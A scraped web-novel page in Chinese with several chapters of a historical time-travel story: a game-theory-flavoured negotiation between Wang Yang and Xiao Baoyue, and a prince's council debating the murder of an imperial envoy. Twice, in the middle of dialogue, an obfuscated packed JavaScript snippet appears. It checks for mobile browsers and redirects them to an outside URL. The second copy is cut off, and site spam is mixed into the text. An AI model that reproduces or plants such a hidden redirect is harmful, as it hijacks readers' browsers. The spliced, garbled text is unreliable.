既然是交换,那自己让步之时,记得让对手交换同样的让步。 王扬没有任何停顿,直接说道: “欺行霸市的话我是一定不应的!但如果你非要我在绛袄上做手脚,也不是不可以,只是我的第一个条件,就要旧事重提了。萧娘子可愿答应?” 本小章还未完,请点击下一页继续阅读后面精彩内容!萧宝月断然道:“我早说过了,第一个条件我不可能答应!” 谈判原则之三:动态平衡。 博弈的底层逻辑在于什么? 在于动态地看待问题。 一成不变与一意孤行都可能导致僵局与失败。 真正的博弈高手懂得在变化中寻找机会,在动态中调整策略,以求平衡。 平衡代表着稳定,代表着双方都可以接受。 “这次和之前不一样。你不需要写我在荆州的所有行事都是你命令的,你只需要写明,你是如何帮我冒姓琅琊的——” 萧宝月听到这儿,立即要开口拒绝,王扬道: “你先别急,你写的这个说明,我只是暂时保管。等到你把尚书省户籍办好之后,我就把它还你。 我这个要求,对我们双方来说最合适不过。因为对于我自己来说,我需要一个保证。尚书省户籍不知何时才能办好,而蛮路你现在就要,这就相当于你要先提货,然后隔很久之后再付钱,我要个抵押,或者说要个欠条,不过分吧? 对于你来说,这个说明放在我这儿,你尽可以放心。因为你所写的内容是关于我冒姓琅琊的,所以我不会给别人看,也不可能利用它做什么文章。这个说明一旦暴露出去,我是死罪,你只是从犯,故而我不会拿它去冒险。等到你把户籍的事办妥,我自然会原封不动地还给你。 这是我能接受的最低底线,不能再改。” 王扬和萧宝月现在的情形,正符合博弈论中的一种模型,叫Chicken Game,翻译成中文是“懦夫博弈”,也叫胆小者游戏。这个模型的基本模式是:两辆车相向行驶,先避者输。若都不避,则两车俱毁。 此模型一共只有四种结局,如果用数字得分代表损益结果,赢可得10分,输为0分,车毁为-10分,那么在Chicken Game中,四种结局下,甲、乙双方的得分分别是: ①两者皆进(-10、-10)②甲进乙退(10、0)③乙进甲退(0、10)④两者皆退(0、0) 以综合得分计算,Chicken Game中的最优解是②③,最差是①,中间项是④。 而具体到王扬和萧宝月的谈判中,有两点至关重要。 第一、不存在④这种中间项。④就是各退一步,萧宝月不再向王扬提要求,而王扬也不再反要求萧宝月,这是不可能的。 萧宝月布局至此,志在必得,话也说得很明白,只要王扬不合作,那就是为敌,是开战。所以④虽然看起来最公平,却被首先排除在外。 第二、此情形下的最优解有两个。也正因为有两个,所以存在“先进者优势”。 甲若先进,乙为了避免①,则只能退。同样的,乙若先进,甲为了避免①,也不得不退。 但利用“先进者优势”取得胜利的前提在于,无论甲乙都必须确认对方的确会为了避免①而妥协,而不会出现对方因为达不成目的或者无法接受,所以宁可陷入①也不退的局面。 故而王扬之前和萧宝月的拉锯、调整、察言、鉴貌等一系列的行为,其核心目的,都是为了找到一个点。 一个可以让萧宝月既达成目的,又不至于无法接受的点。 这个点就是使用“先进者优势”的前提。 现在王扬判断,自己已经找到了这个点。可以使用先进者优势了。 那具体如何使用呢? 回到最初的游戏,现在两辆车相向行驶,而你已经确信对面不敢同归于尽的时候,最好的办法是什么? 王扬的答案是,当着对手的面,松开方向盘,双手背后,然后一脚油门到底。 “既然萧娘子不同意,我就告辞了。从此死活由命,各凭本事。” 王扬站起,向萧宝月一拱手:“江湖再会!” 萧宝月嫣然一笑:“好啊,江湖再会。” 王扬洒然离开。 萧宝月安坐不动。 一...... 二...... 三...... 十! 萧宝月眉头几不可察地皱了一下,眼角余光悄然瞥向门外。 发现视线不好,在短暂的犹豫后,便抻着脖颈,向窗外张望。 这时突然听到脚步声近,萧宝月马上坐好,低垂着眼眸,状似悠闲地摆弄起指甲,鼻中哼了一声,淡声问: “你回来做什么?” “呃......少主,药已经备好了,您是不是现在......” 萧宝月错愕抬头:“王扬呢?” “王公子?奴婢方才在煎药,听说王公子已经走了......” 萧宝月脸色一沉,猛地起身,快步走到门口:“来人!把王扬追回来!” ...... “你叫我回来做什么?”王扬淡然问。 萧宝月只觉被一记回旋镖击中! 想吐血!!! ——————— 注:关于盖温·肯尼迪的说法,见他的专着《谈判:如何在博弈中获得更多》第十四章。谈判中不做单方面的让步这一条,也在书中有阐释。 喜欢关于南朝贵公子是我冒充的这回事请大家收藏:()关于南朝贵公子是我冒充的这回事更新速度全网最快。 第225章 宝月 指纤纤,案上砚墨香; 眉蹙蹙,腕底字成行。 清风悄拂罗縠袖,日影轻移琥珀窗。 荆州夏日长。 萧宝月写完,不情不愿地交给王扬:“现在我们谈谈......” 王扬垂眸端详: “不急,我先看看。” 萧宝月不屑撇唇: “都是按照你要求写的,又不是做文章,能看出花儿来?一个大男人,做事一点不爽利......” 王扬看向萧宝月: “跟爽利人办事才爽利,跟你就算了。花是没有,倒是有坑。” 萧宝月神色疑惑:“什么坑?” 王扬把纸放到桌上,手指点了点: “前四行首字连起来:受人胁迫。” 他微微向前,盯着萧宝月,似笑非笑问: “萧娘子,你受谁胁迫?” 可恶! 萧宝月被当面拆穿,脸上有些挂不住了,强撑道: “是吗?你要不说,我都没发现,不过是凑巧罢了。” 王扬有些懒散地向后一靠: “行,那就劳烦萧娘子再写一份吧,但这回,可别再‘凑巧’了。” 萧宝月眸中闪过一丝恼怒,抓起笔,笔尖在墨砚中狠狠蘸了蘸,重新写了一张,只是这回速度要快得多。然后没好气地甩到王扬面前: “这下可以了吧?” 王扬仔细瞧了瞧:“可以,签押吧。” 萧宝月冷着脸签字,王扬瞄了一眼,提醒道: “兰陵萧氏女多了,前面加上西昌侯府。” 萧宝月摔笔! “王扬你别欺人太甚!” 谈判之道,刚柔并济。当实质条件已经谈妥,就没必要一味下压,需要适当示弱,让对方心理不会太过失衡,以至于平添波折,同时使谈判顺利收尾。这个在谈判学中叫做“情感补偿”。 而有些情况下,所谓补偿就是给对方一个台阶下,表面上是尊重服软,其实是心理安慰。 不过给台阶是给台阶,原则性问题是不能让步的。 “萧娘子别生气,我绝非有意为难你。这是之前做生意做出的毛病,一涉及到签契,落实到文字上就会较真一些,这个是先小人后君子了。反正这张纸早晚要还你的,签得妥当些,不过是我给自己吃个定心丸,心一定,做起事来,自然就事半功倍了。” 萧宝月虽明知王扬这么说是哄她签字,但毕竟听着顺耳,并且也算有理有据,便冷哼一声,重新提笔,添上“西昌侯府”四字。然后看向王扬,见王扬做了个请的手势,知道蒙不过去,只好唤侍女取来她的私印。 萧宝月的私印是当时流行的六面印。所谓六面印即印章呈凸字形,最上印鼻顶有一小印,加印身四面及底面,一共六面刻文,适用于不同用途。 东晋颜綝六面铜印,现藏南京市博物馆,印文见下图 印文分别为:“白记”、“颜文和”、“颜綝”、“臣綝”、“颜綝白牋”、“颜綝白事”。 萧宝月的六个印面分别是“妾宝月”(妾乃当时私印惯用语,男子名前称臣,女子名前称妾,汉时即已如此)、“兰陵萧女”、“官”(官眷)、“女言疏”(信笺谦语,印于名后)、“西昌”、“检窃”(封缄用。提醒接信人检查书信是否被窃,封缄是否完好)。 萧宝月心思一动,选了“检窃”一面,轻轻蘸上印泥,盖了上去。 印文并非当时印章上常用的流行篆文(缪篆),而是屈曲盘回、如虫似蛇的古篆。 萧宝月淡淡地看了眼王扬:“可满意了?” 王扬看着朱红印文,略感惊奇。 这是鸟虫篆啊。 鸟虫篆乃大篆金文的变体,为吴越等南方诸国常用,越王勾践剑上的铭文用的就是这种文字。王扬主攻的不是印学,不过收藏的印谱也有不少。以他穿越前后所见,南朝印章中罕有用鸟虫篆的,小登此印,倒颇有些汉印的韵味。 济南腊山汉墓出土侯夫人水晶印,现藏济南市考古研究,印文即鸟虫篆,见下图 印取自杨阳《济南市考古研究所藏汉代印章赏析》,刊于《文物鉴定与鉴赏》2021年第1期。印文:傅恶女。 萧宝月见王扬有些出神,便更确定他不懂虫书,故意叮嘱道: “‘春鸯’是我的闺名,今日不得已告诉你,你不要外传。” 蠢丫头再被套话,也不会告诉你我的私名,应该......不会吧? 王扬微微皱眉:“你闺名不叫‘检窃’吗?” 萧宝月:Σ( ° △ °|||)︴ “你......你还懂虫书?” 这家伙不会真是琅琊王氏吧! 有那么一瞬间,萧宝月竟陷入自我怀疑中! “略懂......不过萧娘子能不能别玩这些小孩儿把戏了?还春鸯,我看你像蠢——” 王扬住口,恍然道:“合着你这是骂我呢?” 萧宝月丟给王扬一个“自己想去”的眼神,然后重重地盖上“妾宝月”三字。 原来小登叫宝月。 随便起的还是用的释家语? 《贤劫经》中有“宝月佛”,《大方等如来藏经》云:“如是我闻。一时佛在王舍城耆阇崛山中,宝月讲堂,栴檀重阁。”所以卢照邻《石镜寺》中有句:“铢衣千古佛,宝月两重圆。”宝月非徒虚词写月,而是庙中观月兼用佛典更为契合。 嗯,说不定她父母信佛? 王扬心里琢磨着,手去拿“笔录”,萧宝月按住纸张: “绛袄的事,三天内要办好。” “三天我不敢保证,我得先问过锦场。并且为了稳妥起见,这件事我只能选一家最信任的锦场经手。” 萧宝月听王扬这么说,反而略觉放心,若是他真的胡乱应承,那这笔交易还得斟酌。 “最迟不能超过七天。办妥之后通知我。” 王扬想了想说:“可以。但你怎么知道我到底办没办呢?” “这个不用你管,我自然有办法查验。尚书省的户籍办妥后我会告诉你,然后你就把这张纸还我。” “当然,我验证是真之后,就还给你。” “你怎么验证?” 王扬微笑:“我也有我的办法。” 萧宝月看见王扬这种笑容就来气,忍住哐哐给他两拳的冲动,说道: “现在把蛮路告诉我。” “现在不能说,现在说了,万一你突然翻脸,那我岂不亏大了?” 萧宝月寒着脸,语气冰冷: “我还要用你做绛袄,怎会翻脸?” “绛袄之事说不定是幌子,再说你信誉本身不是太好,以前又不是没翻过脸......” 萧宝月听到王扬的话,心中火气更盛,几乎要按捺不住: “我已按约定写了文书,你敢不守信?!” 王扬马上道:“守啊!怎么不守?我早就写好了关于蛮路的详细情形,等我一到家,立刻派人给你送来!” “王扬我警告你!倘若你这次再敢耍什么花招,我会不惜一切代价,将你碎尸万段!你最好相信我的话!” 王扬收起折扇,然后不紧不慢地问道: “狠话放完了?那就我先走了。” 萧宝月气得咬牙,一指门外:“赶紧走!” 王扬起身去拿萧宝月写的文书。 “等等!”萧宝月叫道。 王扬看向萧宝月:“反悔了?” “我萧宝月从来落子无悔!只是你还欠我一样东西!” “什么东西?” “香雪楼,你之前答应我的!” “我请了,你不去啊!” “我不去你可以叫席面送过来!我现在就要吃!” “现在?” 王扬当时说请萧宝月去吃香雪楼就是因为笃定她不会去...... “怎么?你很为难吗?” 萧宝月有些快意,觉得自己终于找到了正确报复王扬的方式了!打蛇打七寸,这奸贼软硬不吃,滑不留手,但他也有弱点啊! “不为难,我现在去订。” 哥有底子,一顿香雪楼而已,订得起! “我要你订香雪楼的鳆鱼宴!” 卧|槽! 王扬脸色陡变。 所谓“鳆鱼”就是鲍鱼,当时鲍鱼主产于山东沿海,尤以胶东半岛的鲍鱼品质最佳。至于江南,要么是当时本地海域不产鲍鱼,要么是当时人没有发现,总之南朝鲍鱼奇缺。自宋失淮北之后,南人想吃鲍鱼,只能靠“进口”,这就导致鲍鱼身价倍增,以至于达到一只鲍要几千钱的地步! 王扬穿越之后,可是一次鲍鱼都没吃过。香雪楼确实有个“鲍鱼大宴”,要八万八千八百八十八钱,号称全用鲍鱼入菜,但其实一共用鲍,能有二十只就算良心的了。在王扬看来,纯粹是坑人! 坑就坑吧,反正他不买,也坑不到他头上。可这小登要坑的可是他...... 萧宝月见王扬笑不出来了,甚觉舒爽! 王扬这边战术喝水,萧宝月那边翘起嘴角: “今天虽然谈得有些波折,但是以鳆鱼宴收尾,也算圆满了。” 那是你圆满了...... “其实香雪楼用的都是干鳆鱼,根本不新鲜的!我朋友也说不好吃,那儿的厨子也不太会做鳆鱼,腥气去不好,没滋味。不过他家的‘万钱下箸肴’着实不错,我上次吃了一回,名不虚传呐!但万钱下箸肴还挺抢手的,经常早早就卖空了,也不知道现在还有没有......” 王扬那边极力游说,萧宝月这边笑容越发明媚: “新不新鲜不重要,吃得就是这个价儿!就算不好吃,我看着也舒心!你要是真觉得万钱下箸肴不错,也可以给我加一份。” 王扬:...... “但送席面很引人注目的!你要隐藏身份,把菜送进来,有暴露身份的风险啊!” 萧宝月美滋滋道: “这个就不劳公子担心了。席面来了直接交给如意楼的掌柜,他自会差人送进来。” 王扬叹了口气:“那你和他说一声吧,别席面来了他不知道收。” 萧宝月得意非凡,只觉狠狠出了口恶气!立即吩咐侍女去告诉赵全,准备接席面。 看着王扬悻悻而去,萧宝月简直乐开了花!一个人笑出声来! 王扬啊王扬,你也有今天啊哈哈哈哈! ...... 王扬从密道中回到如意楼,叫来赵掌柜问道:“你家少主的命令收到了?” 赵掌柜疑惑道:“命令?公子是说接香雪楼‘鳆鱼宴’的席面?” “对呀,我现在就去订,你出个条,就说你是接收人。” “订席面不需要写这个。” “一般情况不需要。但你这情况不一般啊!你这儿本来是酒楼,订同行的席面往这儿送,有些忌讳,说不定以为你要当众挑刺或者砸场子什么的。你写明是你赵掌柜个人要的,省得到时候麻烦。” 掌柜一听也有道理,便写了便条交给王扬。 王扬来到香雪楼,叫来负责送席面的管事: “订个鳆鱼宴席面,给如意楼赵掌柜,货到付款。” 管事听傻了:“货......货到付款?” “就是送到了再给钱。” 管事哎呦一声:“这如何使得!” “这是赵掌柜亲笔写的条,你看看,这条就押在你这儿,你放心,如意楼虽然不比你家,但怎么也不可能赖账。” 管事苦着脸:“但......但我们没这么送过啊!” 王扬眉头一挑:“那是我没来,我要是早来你们早这么送了!” ...... 是夜,宝月吃到鳆鱼大宴。 是夜,宝月再现恶龙咆哮! —————— 注:①《南史·褚彦回传》:“时淮北属,江南无复鳆鱼。或有间关得至者,一枚直数千钱。人有饷彦回鳆鱼三十枚。彦回时虽贵,而贫薄过甚。门生有献计卖之,云可得十万钱。” 三十枚卖十万,一枚要三千三百多。 汉时即是山东产鲍鱼,《后汉书·伏隆传》云:“张步遣使随隆,诣阙上书,献鳆鱼。”这个张步便是在山东割据,所以能献鲍。 曹植《求祭先王表》:“先王喜食鳆鱼,臣前已表,得徐州臧霸送鳆鱼二百枚。”先王就是曹操,曹植想用父亲喜欢吃的鲍鱼祭父,所以之前上表求他哥让徐州刺史臧霸送鲍鱼,为啥让臧霸送?一来臧霸当时都督青州诸军事,统带山东。二来当时徐州也包括鲁南。所以适合做运鲍大队长。 ②关于情感补偿,可以参看斯图尔特??戴蒙德的《沃顿商学院最受欢迎的谈判课》第六章。 第227章 险策 “台使来荆,必先至江陵宣旨,然后赴蛮出使,若真要细细查访,也是从蛮部回来之后的事。那如果他在出使蛮部的路上,被蛮兵截杀,诸位以为,会发生什么?” 众人都被这个想法吓到了,各自思索,室内一时间鸦雀无声。孔长瑜喃喃道:“这是开战......” “不错!”李敬轩双眉上挺,回身一指: “这就是开战! 这是南蛮向我大齐开战! 双方再无缓和余地! 即便朝廷想息事宁人,也没办法提出来,必先荡平罪蛮而后可! 可朝廷是绝对不愿派大军远至荆州伐蛮的。 一来劳多而功少。二来胜不足荣,败则损威。三来国库空虚,北有胡虏,就像此次国公子被劫,朝廷派来的是使者,而非禁军。 所以不到万不得已,陛下不会劳师以远。但蛮患还要平,谁来平? 一旦开战,荆州即为战区,王爷坐镇荆州,难道还有比王爷更合适的人选吗? 王爷再稍加手段,挑动几个蛮部一起叛乱!朝廷必重开南蛮校尉府,主南蛮事! 自我大齐开国以来,南蛮校尉皆荆州刺史兼任! 到时王爷身兼两大军府(荆州军府和南蛮校尉府),更借此战总揽荆州兵权!屯兵屯饷,收粮收钱,还不是王爷一句话的事儿? 当年豫章王坐镇荆楚,身带二府二州,权重无二! 我以为,昔日之盛,今朝,可复也!” 李敬轩刚一说完,便有数声“不妥”响起。 录事参军薛绍率先质问道: “台使死在荆州,王爷岂能无责?就算不是王爷所杀,但在荆州发生如此大案,朝廷岂能不究王爷失职之罪?” 李敬轩摆摆手: “台使没有死在王爷辖境内,而死在汶阳峡!此乃蛮区!非王爷所能控!且王爷本想派荆州司马席恭穆亲自率军入蛮区护送,但为席恭穆所阻,理由是担心引发蛮人异动,轻启战端,王爷无奈作罢。 台使一死,王爷为抢回符节仪仗与台使遗体,义愤之下,率军深入,与蛮激战!身先士卒,遭蛮暗算,身被十余创,死战不退!带伤追剿残敌,远至密林深谷,连续三昼夜,全歼蛮兵! 是时朝野都传王爷忠勇,谁来追责?且当此蛮乱之时,荆州更不能乱!所以王爷不但无过,反而有功!最坏也是个戴罪立功,小惩大诫,绝对不可能重责!” 陈启铭立即道:“那也不可!台使**,何等大事?!朝廷岂会不派人案验?” 李敬轩嘴角浮笑: “案验?若无战事,自然案验。可大战一起,平乱为首,查案反倒不再重要。等王爷统兵在外,征剿蛮祸,朝廷就更不会派人赴荆查案,祸乱军心。即便真要查,那也是在平蛮之后的事,不过那时候王爷平蛮立功,谁还来翻旧案?就算要来翻,也早时过境迁,还能查出什么来?到时王爷兵强马壮,大权在握,任他们去翻,也翻不出什么浪来!即便翻出,我们应变的胜算,也会比现在大很多。 再说平蛮哪有那么容易?东面打打,西面打打,只要想打,那总有的打。是大打是小打,那就要看到时候的需要了......” 这番话并没有说服陈启铭,他皱着眉,连连摇头: “不妥不妥,还是不妥。刺杀台使,罪同谋逆......” 李敬轩“哈”了一声: “交通蛮部,市易甲仗,暗蓄钱粮,秘募私兵,这么多罪名若是都扣下来,和谋逆有什么不同吗?这么多大罪都犯了,杀个台使算什么?” 郭文远马上道: “这不一样!这些事都限于荆州,只要我们做得够隐秘,便不会引人注意!就好比现在,若非国公子被劫,岂能引来台使? 但台使一死,必定震动朝廷!且自太祖皇帝始,我朝尚未有杀台使之事!天子会怎么做?朝廷会作何反应,谁也说不准......” 李敬轩扬手打断道: “根本不需要说准!只要我们挑起蛮乱,战事一起,便是大局!在这个大局面前,任何情绪,任何反应,都要让步!诸蛮一乱,荆州便是前线!便是朝廷想做什么,也不得不有所顾——” 陶睿急声道:“你不要太小看天子,太小看朝廷诸公了!南蛮杀使这一手虽然看似顺理成章,但想就此瞒天过海,却也没有那么容易!” 李敬轩目光如炬,声音咄咄: “我之前说了,战事一起,便是大局!在这个大局面前,无论是对台使死因的无端质疑,还是对王爷个人的无端猜测,都要搁置!没有真凭实据,谁敢把这么大的罪名加在王爷身上?朝廷即便心有疑虑,可诸蛮一乱,他们首先要考量的,必然是如何平乱,如何稳定荆州,如何保证朝廷体统威仪!而不是在这个关键时刻动摇军心、影响战事!” “换帅呢?朝廷如果换帅怎么办?”孔长瑜突然问。 李敬轩从容答道: “王爷是荆州刺史,在荆州平蛮,又不外调大军的情况下,主帅除了王爷之外,不做第二人想。就像四年前湘州蛮乱,负责平乱者即湘州刺史吕安国,后来吕安国有疾,才不得已换帅,改调柳国公往湘州。” 孔长瑜紧接着问:“那按你之前所说,王爷追蛮受创,算不算换帅的理由?” 李敬轩略一迟疑,说道:“轻伤而已,王爷镇抚荆州,总揽全局,朝廷岂会因小伤换帅?” 孔长瑜不紧不慢道:“身被十余创,现在又变成小伤了?” 李敬轩表情微微一僵,随即改口道:“那就不要十余创,要三四创就——” 孔长瑜看向李敬轩,一副过来人的长者姿态,“语重心长”道: “问题不在多少创,问题在太过一厢情愿。你还年轻,阅历不足,不知天下事多有意料之外的情况。朝廷未必会按照你的设想一步步走,只要朝廷有心换帅,理由还不多的是? 恭舆啊,你有进取心是好事,可谋划大业,需得沉稳,不能操之过急。杀台使之策太过冒险,虽奇,却不堪用。” 李敬轩上前一步,神色激昂: “不入虎穴,焉得虎子!要成大事,怎能畏险? 昔魏延献子午谷之谋,武侯不能用!邓艾行阴平道,蜀主竟归降! 天下事多意外,然人算其七,天定其三! 谋事在人,成事在天,岂能因畏天意而废人事? 若事事皆等天意万全,何来魏延之谋,何来邓艾之功?” 李敬轩眼神灼灼,冲着巴东王双手一抱拳,面泛红光,声音铿锵: “王爷! 时来易失,赴机在速! 臣,李敬轩,请王爷勿失其时!勿失其机!” 郭文远急道:“王爷!武侯明睿,知魏延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15208080|165814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 策不可用。李敬轩贪立功名,轻躁冒进,不足听信!” 陈启铭紧随其后:“王爷,李敬轩之策,险极难料,稍有差池,便是满盘皆输!” 薛绍高声进言: “下官以为,应对台使,若杀之以求存,则当杀; 若杀之以行险,则不当杀。 譬若猛虎拦路,扑食于我,我以命相搏,此不得已也。 若为得虎袄,自往击之,则非智者所为!” 陶睿厉声道:“李敬轩贪功建谋,不度深浅,献此招衅结祸之策,用心险邪,请王爷重罚之!” 巴东王目光深沉,默不作声;两个武将也很有默契地都没有发表意见。 李敬轩冷笑道: “下者临危而自乱,中者转危而为安,上者因危而成功! 如今成功之机在眼前,诸君畏首畏尾而不知取,反倒攻讦知取者不留余地,可笑可笑!” 孔长瑜沉声道:“恭舆,我知你故作奇言,欲引王爷注目,可你不该怂恿王爷行险。” 李敬轩看都不看孔长瑜一眼,只盯着巴东王的眼睛,目光似铁,声音沉顿: “时乎时,不再来! 时者,难得而易失也! 上(天子)有旧疾,昔年几至不起。 一旦山陵崩,新君片纸征王,王何以自安? 便是至尊长久,可天意难问,圣心难测,若上意有不虞之变,诏王罢镇还朝,王何以自处? 故我谓:我等皆可稳行待时,唯王不可! 论至德者不和于俗,成大功者不谋于众! 千人诺诺,不如一士谔谔! 敬轩一心为王,做此谔谔之鸣! 王若信敬轩,则风云际会,千载一时! 若疑敬轩,请王速杀之! 将敬轩之头,献与朝廷! 敬轩不愿抱憾苟活!” 说完一跪,一副坦然待死的模样。 孔长瑜大怒:“李敬轩!你敢——” “王爷,咱老冯是个粗人,不懂那些弯弯绕绕的道理,但老冯知道,刀把子握在自己手里,总比握在别人手里强!甭管什么台使不台使,只要王爷一句话,老冯就一刀宰了他!” 冯全祖一直在暗中观察巴东王神色,在李敬轩还没说最后这番话的时候,便有了附议的想法,但忍住了。现在李敬轩这番话一说,冯全祖立即表态。 虽说作为统兵大将,战事一起,有权有功,但刘超之对现状挺满意,也觉得杀台使没必要。再说一旦和蛮子开战,事就多了,弄不好还去深山老林里转圈,哪像现在这么悠闲?可人家老冯都表态了,自己也不能给王爷一个怯战不忠的印象,便只好装作忠字当头的样子,紧跟着冯全祖说道: “王爷您就下决断吧!末将唯王爷之令,马首是瞻!” 其余人见两个武将也下场支持杀台使,纷纷出言驳斥。一时间屋内吵作一团。 巴东王手掌一翻,啪地一声把长刀立在地上,虎目圆睁,声如霹雳: “杀!” ———————— 注:李敬轩说“上有旧疾,昔年几至不起”说的是天子刚登基时候的事。《南齐书·江谧传》:“时世祖不豫,谧诣豫章王嶷请间曰:‘至尊非起疾,东宫又非才,公今欲作何计?’”所谓“非起疾”就是得的是好不了的病。 第228章 佳人再难得 众**惊,唯孔长瑜抱拳,踏前一步:“敢问王爷,杀谁?” 巴东王一指李敬轩:“自然是杀他。” 李敬轩呆若木鸡! 他之前说“若疑敬轩,请王速杀之”,本来是剖白忠心,以退为进之辞,他说的时候压根就没想到会兑现! 因为他早已算定,即便王爷不采纳,也不会杀他,说不定还会勉励一番,最坏也就是劣施惩戒。但无论奖惩,他在王爷心里,算是出头了。 可万没料到自己机关算尽,居然会是这么个结局! 其他人先是一懵,然后或喜或悔。 只是有孔长瑜面无表情。 他还在等结果。 果然,巴东王突然冲着李敬轩咧嘴一笑: “吓懵了吧?” 李敬轩本来觉得天都塌了,后背全是冷汗,现在见巴东王这么一问,瞬间醒悟,马上强作镇定道: “臣知道,王爷是一代雄主,不会杀臣。” 巴东王笑道:“那你还吓得脸都白了?” 李敬轩双袖一展而合,揖手过额,掩住自己略显窘迫的表情,伏身叩首道: “王爷威仪如天,出言如雷,臣岂能不畏?” 巴东王哈哈大笑,笑声洪亮! “起来吧!此策若成,你便是本王的张良,本王怎么舍得杀你?” 李敬轩声音惶恐: “臣一介凡夫,岂敢与留侯相提并论?唯愿肝脑涂地,以报王爷知遇大恩!” 这边正上演君臣相得的戏码,另一边,孔长瑜等人力谏不止! “王爷三思!东宫虎视!御史寻隙!台使一死,必引攻讦!” 李敬轩道:“就是要让他们攻讦!大战已起,蛮乱丛生,东宫不思报效,反而汲汲党争,你说陛下会听信他们吗?他们攻讦得越狠,王爷反而越安全......” “陛下不信东宫,何以信王爷?若是陛下生疑,直接召王爷回朝对问,你又当如何?” “郭兄此言,譬若一人捡拾残羹,后见旁人言行坐卧,皆若洞悉己事,见人笑便疑笑己;见人哭便疑哭己,最后不敢出门,饿死家中。 南蛮生乱,何代无之?截杀台使,有何稀奇? 或以仇杀,或以劫财,或惧汶阳蛮与汉通;或为挑拨争利;只要设计得当,天子又有何可疑? 郭兄担心台使死引天子生疑,难道不担心柳憕被劫引天子生疑?担心柳憕被劫引天子生疑,难道不担心交通蛮部引天子生疑?担心交通蛮部引天子生疑,难道不担心如今天子派出使节赴荆,代表天子已经生疑?! 若担心天子生疑便不做事,那便什么事都做不得! 王翦率军征楚,五遣使请善田于天子,后人视之,何其做作!难道不怕始皇生疑? 骊姬下毒于太子所献胙肉,诬陷太子,又自言‘胙所从来远,宜试之’,后人观之,何其拙劣!难道不怕晋公生疑? 然王翦立功,太子谗死,当时者不疑,而后人疑之,非后人聪明过古人,乃后人有全知之明,而易生疑耳! 自古成大功者,谋定而敢行,即先赢五成! 不敢行者,纵有良谋,亦如画饼充饥,百无一成! 郭兄‘做贼心虚’论虽妙,然心虚太过,非可与谋大事者也!” 李敬轩说完,不屑地一挥袖。 “你......”郭文远被说得脸色涨红,手指发抖。 陶睿喝道: “李敬轩!你贪功生事,摇唇鼓舌,可曾想过,一旦事败,我们所有经营,都将毁于一旦?!” “高祖斩白蛇举义,可曾想过一旦事败? 光武起于宛,战昆阳,可曾想过一旦事败? 丈夫行大事,成王败寇,复何言哉! 陶大人! 你只图自己高官厚禄,安稳度日,可曾替王爷想,一旦宫车晏驾,太子登基,王爷何以安身?” 陶睿勃然大怒:“小人安敢尔——” 咣! 巴东王一刀鞘击飞了案上的铜香炉。冷着脸道:“都不要吵了。” 众人息声,陶睿则对李敬轩怒目而视。 巴东王刀鞘一偏,指向李敬轩,寒声道:“你如何对寻阳陶氏无礼?还不赔罪?” 李敬轩慌忙向陶睿下拜谢罪。 陶睿哼了一声,没有答礼。 巴东王看向陶睿:“台使来,有没有可能是冲着本王来的?” 陶睿愣了一下,然后斟酌道:“......下官以为,主要是因为国公子——” 巴东王目光锐利,直直地锁住陶睿,不等他说完,加重语气,缓缓问道: “本王问的是,有没有可能,是冲着,本王,来的?你只回答,有,还是没有。” 陶睿心中一跳,有些回过味来,咽了口唾沫,拱手道:“有。” “有没有可能查到本王通蛮?” “有。”陶睿汗下。 巴东王收回目光扫向郭文远,虎眸微微眯起: “若朝廷查到本王交通蛮部,你说该怎么办?” 郭文远在巴东王问陶睿时,便恍然而悟,此时立即跪倒道: “荆州之事在王爷,我等以死从之!” 巴东王看向孔长瑜: “孔先生,如果本王现在中断蛮路,清除所有痕迹,你能保证无论任何人,以任何手段,都查不到吗?” 孔长瑜沉吟片刻,叹气道:“不能。” 巴东王又问: “若明日诏敕到,召本王还朝,孔先生以为,本王该当如何?” 孔长瑜一丝停顿都没有,应声答道: “景帝征临江王,王车出江陵北门,车轴折,荆州父老泣曰:‘吾王不返矣。’” 他语速渐渐放慢,吸了一口气,眼圈微微泛红,沉声说道: “长瑜必不让此旧事,在荆州重现!” 巴东王点点头,环视四座: “世上没有不透风的墙,事情做了,总有痕迹。以前朝廷的目光不在这儿,我们尚可慢慢经营,可柳憕的事已经引起了朝廷的注意。另外朝廷要在荆州开蛮路,虽然不是我们交易的蛮部,但声气一通,难保不会走漏消息。不仅我们这边的消息可能走漏,永宁蛮那边,也同样可能走漏。 与其被动地等人查,不如主动出击,掌握先手! 人为刀俎,我为鱼肉。 本王不做鱼肉,本王要做刀俎! 温吞水里抱着侥幸,期待别人忘了添柴,自己便能躲过一劫,那不是本王的为人! 本王宁可自己直接把水煮沸了! 熬住不死,便成龙! 熬不住,就给人做鱼羹! 只是连累各位跟本王一起滚水里走一遭。 现在想跳出锅的,便站出来,本王不怒也不怨,还赐你金子,设宴与你作别,算是全了咱们君臣一场的情分。” 话都说到这个地步,谁也不敢再反对了。再反对就是藏私避祸,就是不和王爷一条心。孔长瑜率先跪拜:“誓死追王爷!赴汤蹈火,无所辞也!” 众人纷纷下拜:“誓死追王爷!赴汤蹈火,无所辞也!” ...... 统一思想之后,众人坐定。巴东王向李敬轩道: “恭舆啊,台使可以杀,但王扬没必要杀。” 李敬轩听王爷叫他的字,心中甚喜,脸上正色道:“王爷,王扬有三必杀。” 巴东王皱眉:“哪三必杀?” “其一,此人乃通蛮之证,必杀之以灭其口。 其二,此人精明而心未属,必杀之以绝其患。 其三,此人叔父乃散骑侍郎王揖,一旦有变,可通朝廷。必杀之以断其变!” 巴东王面无表情:“言过其实了吧......” 郭文选抢先道:“只凭第一条,王扬就该杀。留下王扬,就是留下个祸患。既然连台使都杀了,王扬怎能留?” 孔长瑜献计:“让王扬跟着台使一同出使,到时一起做掉。” 李敬轩点头:“孔先生之言,与我意合。” 巴东王摆手:“没必要,王扬本王是知道的,没到这个地步。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 